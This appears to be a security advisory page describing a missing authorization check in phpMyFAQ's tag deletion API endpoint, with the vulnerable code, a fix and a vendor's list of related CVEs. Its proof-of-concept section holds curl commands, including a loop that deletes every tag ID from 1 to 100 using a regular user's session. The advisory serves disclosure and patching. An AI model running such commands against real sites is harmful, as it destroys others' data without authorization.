Media

phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags

  • Publicada: 06.05.2026
  • Actualizado: 11.10.2026 10:22

Summary

The TagController::delete() endpoint at DELETE /admin/api/content/tags/{tagId} only verifies that the user is logged in (userIsAuthenticated()), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with TagController::update() and TagController::search(), which both enforce the FAQ_EDIT permission.

Details

In phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php, the delete() method (line 121-133) uses only $this->userIsAuthenticated():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userIsAuthenticated();  // Only checks isLoggedIn() — no permission check

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

Compare with update() (line 48-71) which properly enforces authorization:

php
public function update(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check
    // ... also verifies CSRF token ...
}

The userIsAuthenticated() method in AbstractController (line 258-263) only checks $this->currentUser->isLoggedIn():

php
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

There is no admin-level middleware in the Kernel — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (admin/api/index.php) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.

Additionally, this endpoint lacks CSRF token verification (unlike update()), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.

PoC

bash
# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)

# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
  -H 'Cookie: PHPSESSID=<regular_user_session>'

# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}

# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
  curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
    -H 'Cookie: PHPSESSID=<regular_user_session>'
done

Impact

Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:

  • Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.
  • Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken.
  • No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup.

The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.

Recommended Fix

Add the FAQ_EDIT permission check and CSRF token verification to TagController::delete(), consistent with TagController::update():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

At minimum, add $this->userHasPermission(PermissionType::FAQ_EDIT) to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated TAG_DELETE permission type for more granular access control.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer phpmyfaq/phpmyfaq < 4.1.2 4.1.2
Paquete de Composer thorsten/phpmyfaq < 4.1.2 4.1.2

Referencias

Puntuación CVSS 5.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Debilidad (CWE)
CWE-862
Plataforma
Composer
Paquete
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Publicada
06.05.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-7cx3-2qx2-3g6w - CC BY 4.0

Historial de vulnerabilidades: thorsten/phpmyfaq

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (112) en el archivo
Entradas en total
112
Primera → última
05.2022 09.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 8
  • Alta 36
  • Media 67
  • Baja 1

Divulgaciones por año

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Gravedad:
  1. Alta · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Alta · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Alta · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags esta entrada
    Media · 5.4 CVE-2026-46365 < 4.1.2 4.1.2
  5. Alta · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  6. Alta · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  7. Alta · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  8. Alta · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  9. Alta · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  10. Alta · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  11. Crítica · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  12. Crítica · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  13. Alta · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  14. Alta · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  15. Alta · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  16. Alta · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  17. Crítica · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  18. Crítica · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  19. Alta · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  20. Alta · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
Mostrar más (5) Mostrando 40 de 45

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.